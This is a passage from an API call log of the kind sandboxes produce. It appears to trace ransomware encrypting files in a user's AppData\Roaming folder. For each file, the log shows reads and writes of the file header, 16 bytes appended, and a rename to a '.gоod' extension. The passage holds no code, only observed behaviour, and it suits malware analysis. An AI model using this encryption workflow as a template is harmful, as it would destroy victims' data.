lpBuffer=0x35161f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x35161f8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0209.464] CloseHandle (hObject=0x824) returned 1 [0209.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.465] GetFileType (hFile=0x824) returned 0x1 [0209.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.465] GetFileType (hFile=0x824) returned 0x1 [0209.465] ReadFile (in: hFile=0x824, lpBuffer=0x3518498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3518498*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0209.499] CloseHandle (hObject=0x824) returned 1 [0209.499] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.500] GetFileType (hFile=0x824) returned 0x1 [0209.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.500] GetFileType (hFile=0x824) returned 0x1 [0209.500] WriteFile (in: hFile=0x824, lpBuffer=0x3517210*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3517210*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0209.500] CloseHandle (hObject=0x824) returned 1 [0209.500] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.500] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi.gоod", lpFilePart=0x0) returned 0x36 [0209.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0209.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f05a30, ftCreationTime.dwHighDateTime=0x1d4cd01, ftLastAccessTime.dwLowDateTime=0x99146100, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0x7914e7ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf4fd)) returned 1 [0209.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0209.500] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi.gоod")) returned 1 [0209.501] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0209.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0209.501] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), fInfoLevelId=0x0, lpFileInformation=0x3594880 | out: lpFileInformation=0x3594880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb490fb0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3590780, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0xb3590780, ftLastWriteTime.dwHighDateTime=0x1d4c6ba, nFileSizeHigh=0x0, nFileSizeLow=0x10d1e)) returned 1 [0209.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0209.501] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0209.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.501] GetFileType (hFile=0x824) returned 0x1 [0209.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.502] GetFileType (hFile=0x824) returned 0x1 [0209.502] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0209.502] ReadFile (in: hFile=0x824, lpBuffer=0x3594c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3594c18*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0209.716] CloseHandle (hObject=0x824) returned 1 [0210.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0211.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.410] GetFileType (hFile=0x858) returned 0x1 [0211.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.410] GetFileType (hFile=0x858) returned 0x1 [0211.410] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x10d1e [0211.410] WriteFile (in: hFile=0x858, lpBuffer=0x37fe6f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x37fe6f0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0211.410] CloseHandle (hObject=0x858) returned 1 [0211.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0211.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.411] GetFileType (hFile=0x858) returned 0x1 [0211.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.411] GetFileType (hFile=0x858) returned 0x1 [0211.411] ReadFile (in: hFile=0x858, lpBuffer=0x3800970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3800970*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0211.569] CloseHandle (hObject=0x858) returned 1 [0211.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0211.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.570] GetFileType (hFile=0x858) returned 0x1 [0211.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.570] GetFileType (hFile=0x858) returned 0x1 [0211.570] WriteFile (in: hFile=0x858, lpBuffer=0x3557710*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3557710*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0211.570] CloseHandle (hObject=0x858) returned 1 [0211.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png", lpFilePart=0x0) returned 0x2b [0211.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png.gоod", lpFilePart=0x0) returned 0x30 [0211.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0211.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb490fb0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3590780, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0x7a522296, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10d2e)) returned 1 [0211.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0211.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lYslnAP.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lyslnap.png.gоod")) returned 1 [0211.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0211.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0211.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), fInfoLevelId=0x0, lpFileInformation=0x3560248 | out: lpFileInformation=0x3560248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cba20c0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x9fdd13f0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x9fdd13f0, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0x14a68)) returned 1 [0211.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0211.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0211.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.572] GetFileType (hFile=0x858) returned 0x1 [0211.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.572] GetFileType (hFile=0x858) returned 0x1 [0211.572] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0211.572] ReadFile (in: hFile=0x858, lpBuffer=0x3560600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3560600*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0211.573] CloseHandle (hObject=0x858) returned 1 [0211.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0211.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.573] GetFileType (hFile=0x858) returned 0x1 [0211.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.573] GetFileType (hFile=0x858) returned 0x1 [0211.574] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x14a68 [0211.574] WriteFile (in: hFile=0x858, lpBuffer=0x3561868*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3561868*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0211.574] CloseHandle (hObject=0x858) returned 1 [0211.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0211.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0211.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.574] GetFileType (hFile=0x858) returned 0x1 [0211.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0211.574] GetFileType (hFile=0x858) returned 0x1 [0211.574] ReadFile (in: hFile=0x858, lpBuffer=0x3563af8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3563af8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0212.964] CloseHandle (hObject=0x858) returned 1 [0212.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0212.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0212.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0212.964] GetFileType (hFile=0x858) returned 0x1 [0212.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0212.965] GetFileType (hFile=0x858) returned 0x1 [0212.965] WriteFile (in: hFile=0x858, lpBuffer=0x33b15f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x33b15f0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0212.965] CloseHandle (hObject=0x858) returned 1 [0212.965] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv", lpFilePart=0x0) returned 0x2e [0212.965] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv.gоod", lpFilePart=0x0) returned 0x33 [0212.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0212.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cba20c0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x9fdd13f0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x7b2652b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a78)) returned 1 [0212.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0212.965] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\M2_c_fYDVB.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\m2_c_fydvb.mkv.gоod")) returned 1 [0212.966] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0212.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0212.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), fInfoLevelId=0x0, lpFileInformation=0x3537ee8 | out: lpFileInformation=0x3537ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa710a6e0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0xaee577d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0xaee577d0, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x67b3)) returned 1 [0212.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0212.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0212.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0212.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0212.967] GetFileType (hFile=0x858) returned 0x1 [0212.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0212.967] GetFileType (hFile=0x858) returned 0x1 [0212.967] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0212.967] ReadFile (in: hFile=0x858, lpBuffer=0x35382c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x35382c0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0212.968] CloseHandle (hObject=0x858) returned 1 [0212.968] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0212.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0212.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0212.968] GetFileType (hFile=0x858) returned 0x1 [0212.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0212.968] GetFileType (hFile=0x858) returned 0x1 [0212.968] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x67b3 [0212.968] WriteFile (in: hFile=0x858, lpBuffer=0x3539538*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3539538*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0212.969] CloseHandle (hObject=0x858) returned 1 [0212.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0212.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0212.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0212.969] GetFileType (hFile=0x858) returned 0x1 [0212.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0212.969] GetFileType (hFile=0x858) returned 0x1 [0212.969] ReadFile (in: hFile=0x858, lpBuffer=0x353b7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x353b7d8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0213.510] CloseHandle (hObject=0x858) returned 1 [0213.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0213.510] SetThreadErrorMode (dwNewMode=0x1, 